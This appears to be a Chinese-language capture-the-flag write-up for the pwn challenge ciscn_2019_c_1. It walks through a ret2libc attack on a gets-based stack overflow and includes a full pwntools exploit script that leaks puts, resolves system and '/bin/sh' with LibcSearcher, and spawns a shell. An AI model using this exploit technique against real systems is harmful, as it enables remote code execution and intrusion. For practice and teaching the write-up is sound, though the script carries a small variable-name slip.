ciscn_2019_c_1

发布时间 2023-08-07 19:26:22作者: lmarch2

ciscn_2019_c_1

0x01

简单的ret2libc3
file checksec —— 64-bit 开NX

0x02

运行一下看看

再看看IDA

研究了半天发现是让你加解密的
再看看string window 没用system和binsh
又发现加密函数里有gets函数,可构成栈溢出

0x03

分析大致流程就是

  1. 利用一个程序已经执行过的函数去泄露它在程序中的地址,然后取末尾3个字节,去找到这个程序所使用的libc的版本
  2. 用同一个程序里函数的地址-libc里的函数地址即可得到偏移量
  3. 得到偏移量后就可以推算出程序中其他函数的地址,知道其他函数的地址之后就可以去执行system(’/bin/sh‘)

0x04

写exp

from pwn import*
from LibcSearcher import*

p=remote('node4.buuoj.cn',28342)
elf=ELF('./ciscn_2019_c_1')

main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

p.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

p.sendlineafter('encrypted\n',payload)
p.recvline()
p.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(puts_addr)

libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')

p.sendlineafter('choice!\n','1')

payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

p.sendlineafter('encrypted\n',payload)

p.interactive()

0x05

libcsearch的github网址
安装

git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
sudo python setup.py develop

覆盖数据payload=b'\0'+b'a'*(0x50-1+8)
\0是为了让加密函数的一个strlen函数停止(这个函数遇‘0’会停止),从而绕过加密,保证我们构造的rop不会被破坏,
buf的大小为0x50
-1是减去\0
+8是覆盖rbp

这道题的接收非常讲究
泄露地址接收时先是两下recvline(),
原因

recvline()一次接收到\n;
第一次recvline只能到Ciphertext;
第二次只能接收到0a
第三次的recvuntil才开始处理泄露的got地址。
先开一下context_log_lever='debug',整体看一下, 再自己recvuntil看能接收到什么内容。

然后再用recvuntil('\n')[:-1].ljust(8,'\0')来舍弃接收到的字符串最后的’\x0’并向左补齐

这一道题是64位的程序,这边涉及到64位程序和32位程序运行时的区别了
32位程序运行执行指令的时候直接去内存地址寻址执行
64位程序则是通过寄存器来传址,寄存器去内存寻址,找到地址返回给程序。因此要用寄存器存参

注意栈对齐

还有最后还要再输一个0

参考资料:
[BUUCTF]PWN6——ciscn_2019_c_1